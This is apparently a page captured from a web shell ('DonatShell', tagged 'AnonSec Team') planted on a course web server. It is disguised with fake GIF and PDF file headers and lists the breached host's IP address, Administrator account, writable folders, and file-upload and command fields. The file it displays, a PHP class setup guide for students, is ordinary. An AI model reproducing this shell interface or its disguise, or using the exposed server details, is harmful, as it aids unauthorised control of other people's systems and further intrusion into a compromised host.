GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/Setup/ClassSetup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/Setup/ClassSetup/index.php
<?
// JimMartinson/Setup/ClassSetup/index.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.

include('application.phpinc');
$dataFolder = formValue('dataFolder','');
$installFolder = formValue('installFolder','');
$courseNumber = formValue('courseNumber',''); if ($courseNumber == '') $courseNumber = 'CSTxxxx';
if ($courseNumber != 'CSTxxxx') {
	$courseNumberComment = '';
} else {
	$courseNumberComment = ' where <b>CSTxxxx</b> is the number of the course you are taking';
}
$courseTitle = formValue('courseTitle','');
$_SESSION['courseNumber'] = $courseNumber;
$title = "Class Setup Guide";
$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title;
$pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title;
$pageMenu = 'Course/courseMenu.phpinc';
$js="debug.js,tooltip.js,CST.js,driveReplace.js,div.js";
include('common/pageHeader.phpinc');
#d_Var("\$_SESSION['userDefaultDrive']",$_SESSION['userDefaultDrive'],'d');
#d_Var("\$_SESSION['userDataFolder']",$_SESSION['userDataFolder'],'d');

$winClass = '';
$linClass = ' hidden ';
if ( is_null($_SESSION['userDefaultDrive']) && $_SESSION['userDataFolder'] != '' ) {
	$winClass = ' hidden ';
	$linClass = '';
}
	
?>
<script type="text/javascript">
var defaultDriveLetter = 'C';
<?
if ($dataFolder !='') {
?>
var numberForms = 4;
var numberImages = 4;
<?
} else {
?>
var numberForms = 2;
var numberImages = 2;
<?
}
?>
var pageURL = '../drive_Selected.php';
</script>
<?
//include('Login/authenticate.phpinc');
$sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title;
include('common/sectionHeader.phpinc');
?>
<p>
Setup your computer and install the software used in class.
<span class="normal">
<br>
I get a lot of calls from students who have something not work during the class setup.
About 90% of the time it is because they did not follow the instructions.
</span>
<br><span class="bold error">Take your time and follow the instructions carefully!</span>
<span class="normal">
<br>The entire setup takes 10 to 90 minutes depending on bandwidth, computer speed, and student ability.
You should complete each setup page in its entirety but you can stop and restart between pages.
</span>
</p>
<p>
I suggest that you keep your class software and data on a drive partition other than the one your operating system is on.
<span class="normal">
<br>
The Windows operating system is vulnerable to failure. If your data is on the same drive partition as Windows it can become irretrievable if the OS fails.
<br>
Take a look at your computer setup. If you have another hard drive partition that you can create your data folder and installations on please select it.
<br>
If you do not have another hard drive partition then select the C: drive.
<br>
If you are unsure then ask your Instructor.
<br>
In any case you should backup your work to a flash drive, external hard drive, or CD-RW whenever substantial work had been done.
</span>
</p>

		<span id="spn_lin_3" class="<?=$linClass?> info">Instructions for <b>Linux</b> OS:</span>
		<!--<span id="spn_mac_3" class="hidden info">Instructions for <b>Mac</b> OS:</span>-->
		<span id="spn_win_3" class="<?=$winClass?>info">Instructions for <b>Windows</b> OS:</span>

<form name="driveForm1" action="../drive_Selected.php" method="post" style="margin:0px; padding:0px; display:inline;">	
	<input type="text" id="LastPassTrap" style="position: absolute; left:-200px; top:-50px" title="This form element is used to trap the code added by LastPass and place it outside of the viewport.">
	<input id="inp_lin_3" type="button" onClick="return SwapWinMacLinux('lin',[3,4]);" value="Switch to Linux instructions" class="<?=$winClass?>">
	<!--<input id="inp_mac_3" type="button" onClick="return SwapWinMacLinux('mac',[3,4]);" value="Switch to Mac instructions">-->
	<input id="inp_win_3" type="button" onClick="return SwapWinMacLinux('win',[3,4]);" value="Switch to Windows instructions" class="<?=$linClass?>">
<?
/** /
$driveNumber = ord($_SESSION['userDefaultDrive'])-65;
$driveColumn = $driveNumber % 13;
$driveRow = floor(($driveNumber+0.01)/13);
/**/
$driveNumber = ord($_SESSION['userDefaultDrive'])-64;
$driveColumn = ($driveNumber - 1) % 13;
$driveRow = floor(($driveNumber - .99)/13);
$driveRowYstart = $driveRow*24;
$driveColumnXstart = $driveColumn*37;
$offsetY = ($driveRowYstart); 
$offsetX = ($driveColumnXstart-480);

?>
<ol id="ol_win_3" class="<?=$winClass?>">
	<li><!-- 1 -->
		<div style="margin-left:10px;">
			Select the drive you will be using below: <span class="normal">(This will change the instructions to reflect the drive you selected)</span><br>
			<map id="map_driveSelect" name="driveSelect">
				<area alt="A:" title="A: drive" shape="rect" coords="0,0,35,21" href="" onclick="getDrive('A',false); return false;" />
				<area alt="B:" title="B: drive" shape="rect" coords="37,0,72,21" href="" onclick="getDrive('B',false); return false;" />
				<area alt="C:" title="C: drive" shape="rect" coords="74,0,109,21" href="" onclick="getDrive('C',false); return false;" />
				<area alt="D:" title="D: drive" shape="rect" coords="111,0,146,21" href="" onclick="getDrive('D',false); return false;" />
				<area alt="E:" title="E: drive" shape="rect" coords="148,0,183,21" href="" onclick="getDrive('E',false); return false;" />
				<area alt="F:" title="F: drive" shape="rect" coords="185,0,220,21" href="" onclick="getDrive('F',false); return false;" />
				<area alt="G:" title="G: drive" shape="rect" coords="222,0,257,21" href="" onclick="getDrive('G',false); return false;" />
				<area alt="H:" title="H: drive" shape="rect" coords="259,0,294,21" href="" onclick="getDrive('H',false); return false;" />
				<area alt="I:" title="I: drive" shape="rect" coords="296,0,331,21" href="" onclick="getDrive('I',false); return false;" />
				<area alt="J:" title="J: drive" shape="rect" coords="333,0,368,21" href="" onclick="getDrive('J',false); return false;" />
				<area alt="K:" title="K: drive" shape="rect" coords="370,0,405,21" href="" onclick="getDrive('K',false); return false;" />
				<area alt="L:" title="L: drive" shape="rect" coords="407,0,442,21" href="" onclick="getDrive('L',false); return false;" />
				<area alt="M:" title="M: drive" shape="rect" coords="444,0,479,21" href="" onclick="getDrive('M',false); return false;" />
				<area alt="N:" title="N: drive" shape="rect" coords="0,24,35,45" href="" onclick="getDrive('N',false); return false;" />
				<area alt="O:" title="O: drive" shape="rect" coords="37,24,72,45" href="" onclick="getDrive('O',false); return false;" />
				<area alt="P:" title="P: drive" shape="rect" coords="74,24,109,45" href="" onclick="getDrive('P',false); return false;" />
				<area alt="Q:" title="Q: drive" shape="rect" coords="111,24,146,45" href="" onclick="getDrive('Q',false); return false;" />
				<area alt="R:" title="R: drive" shape="rect" coords="148,24,183,45" href="" onclick="getDrive('R',false); return false;" />
				<area alt="S:" title="S: drive" shape="rect" coords="185,24,220,45" href="" onclick="getDrive('S',false); return false;" />
				<area alt="T:" title="T: drive" shape="rect" coords="222,24,257,45" href="" onclick="getDrive('T',false); return false;" />
				<area alt="U:" title="U: drive" shape="rect" coords="259,24,294,45" href="" onclick="getDrive('U',false); return false;" />
				<area alt="V:" title="V: drive" shape="rect" coords="296,24,331,45" href="" onclick="getDrive('V',false); return false;" />
				<area alt="W:" title="W: drive" shape="rect" coords="333,24,368,45" href="" onclick="getDrive('W',false); return false;" />
				<area alt="X:" title="X: drive" shape="rect" coords="370,24,405,45" href="" onclick="getDrive('X',false); return false;" />
				<area alt="Y:" title="Y: drive" shape="rect" coords="407,24,442,45" href="" onclick="getDrive('Y',false); return false;" />
				<area alt="Z:" title="Z: drive" shape="rect" coords="444,24,479,45" href="" onclick="getDrive('Z',false); return false;" />
			</map>
			<img src="../drive_All2.png"  id="drivesImage" name="drivesImage" alt="Drives" usemap="#driveSelect" height="45" width="480" style="position:relative; z-index:0;" /><img src="../drive_Selected.png" id="img_filterImage" name="filterImage" alt="" style="position:absolute; margin-left:<?=$offsetX?>px; margin-top:<?=$offsetY?>px; filter:alpha(opacity=45); -moz-opacity: 0.45; opacity: 0.45; z-index:1;" />
			<br>
			<input type="hidden" id="hid_driveSelection" name="driveSelection" value="<?=$_SESSION['userDefaultDrive']?>" />
			You have selected the <input type="text" id="driveSelected1" value="<?=$_SESSION['userDefaultDrive']?>:" class="bold center" style="width:1.25em; border:0px;" /> drive.
			<div id="replaceDrive" class="hidden">
				<span class="attention">From now on you need to replace any instructions I give you in class that mention the <b class="bold">C:</b> drive with the
					<input type="text" class="attention" id="driveSelected2"  value="<?=$_SESSION['userDefaultDrive']?>:" class="bold center" style="width:1.25em; border:0px; font-size:1em; margin:0; padding:0;" />
					drive.
				</span>
			</div>
		</div>
	</li>
	<li><!-- 2 -->
		Create a <b><?=$courseNumber?></b> folder on the root of your <input type="text" id="driveSelected3" value="<?=$_SESSION['userDefaultDrive']?>:" class="bold center" style="width:1.25em; border:0px;" /> drive<?=$courseNumberComment?>.
    <br>
<?
if ( $courseNumber != $dataFolder && $dataFolder != '' ) {
?>
    This will be the folder you will use to keep your class utilities.
<?
} else {
?>
    This will be the folder you will use to keep your class data, files, and utilities.
<?
}
?>
		<br><span class="note">You can acyutally name the folder anything you like and place it anywhere, but you will need to replace any mention I make of the <b><?=$courseNumber?></b> folder with the one you created.</span>
	</li>
<?
if ( $installFolder != 'none' ) {
?>
	<li><!-- 3 -->
		Create an <b>Install</b> folder inside the <b><?=$courseNumber?></b> folder<?=$courseNumberComment?>.
    <br>
    This is the folder you will use to keep any class software installation and some utility files.
	</li>
<?
}
if ( $courseNumber != $dataFolder && $dataFolder != '' ) {
?>
	<li><!-- 4 -->
		Create a <b><?=$dataFolder?></b> folder on the root of your <input type="text" id="driveSelected4" value="" class="bold center" style="width:1.25em; border:0px;" /> drive.
    <br>
    This will be the root folder for Apache document files (the files that will be displayed in your browser).
	</li>
<?
}
?>
</ol>
	

<ol id="ol_lin_3" class="<?=$linClass?>">
	<li><!-- 1 -->
		Linux does not give drives a volume label like Windows does (e.g. C:). Instead it mounts them as directories off the root (/). So you do not need to select a volume label.
	</li>	
	<li><!-- 2 -->
		Create a <b><?=$courseNumber?></b> folder somewhere in your home directory.
    <br>
<?
if ( $courseNumber != $dataFolder && $dataFolder != '' ) {
?>
    This will be the folder you will use to keep your class utilities.
<?
} else {
?>
    This will be the folder you will use to keep your class data, files, and utilities.
<?
}
?>
		<br><span class="note">You can acyutally name the folder anything you like and place it anywhere, but you will need to replace any mention I make of the <b><?=$courseNumber?></b> folder with the one you created.</span>
	</li>	
	<li><!-- 3 -->
		Create an <b>Install</b> folder inside the <b><?=$courseNumber?></b> folder<?=$courseNumberComment?>.
    <br>
    This is the folder you will use to keep any class software installation and some utility files.
	</li>	
	<li><!-- 4  --> <? $userDataFolder = $_SESSION['userDataFolder']; if ( $userDataFolder == 'Data_WWW' ) { $userDataFolder = ''; } ?>
		Enter a path you will use as the root for Apache web pages: <input name="userDataFolder" id="userDataFolder" value="<?=$userDataFolder?>">. <span class="note">This is usually <b>/var/www</b> on Linux systems.</span>
    <br>
		<b>You need to <button onClick="getDrive('','userDataFolder'); return false;">Save the Apache web page root</button>. It will then be used in assignment instructions.</b>
    <br>
    This will be the root folder for Apache document files (the files that will be displayed in your browser).
	</li>
</ol>
</form>
<?
if ( $installFolder != 'none' || ( $dataFolder != $courseNumber && $dataFolder != '' ) ) {
	$plural = 'ies';
} else {
	$plural = 'y';
}
#d_Var("\$_SESSION['userDefaultDrive']",$_SESSION['userDefaultDrive'],'d');
#d_Var("\$_SESSION['userDataFolder']",$_SESSION['userDataFolder'],'d');
?>
<br>
If you have created the director<?=$plural?> above, then that's it for <?=$courseNumber?> class setup.
You can <a href="javascript:window.open('','_parent','');window.close();" onclick="window.open('','_parent','');window.close();return false;">close</a> this window.
<script type="text/javascript">
	let userDefaultDriveOriginal = '<?=$_SESSION['userDefaultDrive']?>';
	let userDataFolderOriginal = '<?=$_SESSION['userDataFolder']?>';
	console.log(`${PC}userDefaultDriveOriginal=${userDefaultDriveOriginal} userDataFolderOriginal=${userDataFolderOriginal}`,CL);
	getDrive('<?=$_SESSION['userDefaultDrive']?>','<?=$_SESSION['userDataFolder']?>');
</script>
<?
include('common/sectionFooter.phpinc');

include('common/pageFooter.phpinc');

?>

Anon7 - 2022
AnonSec Team